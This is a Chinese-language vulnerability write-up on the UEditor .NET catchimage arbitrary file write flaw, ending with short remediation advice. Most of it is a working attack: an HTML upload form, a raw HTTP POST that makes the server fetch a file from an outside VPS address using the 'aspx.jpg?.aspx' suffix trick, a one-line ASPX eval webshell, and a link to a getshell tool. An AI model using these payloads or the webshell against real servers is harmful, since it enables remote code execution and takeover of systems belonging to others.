描述

UEditor是一款所见即所得的开源富文本编辑器,具有轻量、可定制、用户体验优秀等特点,被广大WEB应用程序所使用。该漏洞存在于该编辑器的.net版本。漏洞成因是在抓取远程数据源的时候未对文件后缀名做验证导致任意文件写入漏洞,黑客利用此漏洞可以上传恶意文件,获取webshell权限,在服务器上执行任意指令等

漏洞路径一般为:/ueditor/net/controller.ashx?action=catchimage&encode=utf-8,出现以下则存在漏洞

测试过程

构建上传表单测试

payload:

<form
  action="https://xxxx.xxxx/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"
  enctype="application/x-www-form-urlencoded"
  method="POST"
>
  shell addr: <input type="text" name="source[]" />
  <input type="submit" value="Submit" />
</form>

服务器(VPS)启动测试服务,(在启动之前,将马(可以不用图片马,直接将木马文件的后缀名为jpg即可)上传到自己的vps)

浏览器打开payload html发起请求,上传文件

shell addr:X.X.X.X是VPS地址http://X.X.X.X/apsx.jpg?.aspx ,就是在aspx.jsp后面加上?.aspx

成功上传文件,并返回上传文件路径

使用数据包测试

POST /ueditor/net/controller.ashx?action=catchimage&encode=utf-8 HTTP/1.1
Host: xxx.xxx.xxx
User-Agent: Mozilla/5.0 (iPad; CPU OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Tablet/15E148 Safari/604.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: null
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i

source%5B%5D=http%3A%2F%2F47.109.182.142%2Faspx.jpg%3F.aspx

成功访问到上传文件(这里只是测试内容,当然也可以上传aspx木马)

ps

aspx一句话:

<%@ Page Language="Jscript"%><%eval(Request.Item["hack

er"],"unsafe");%>

漏洞检测工具

https://github.com/theLSA/ueditor-getshell

处置建议

1、修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。

2、使用各类WAF软件,防止攻击者上传恶意文件。

3、检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。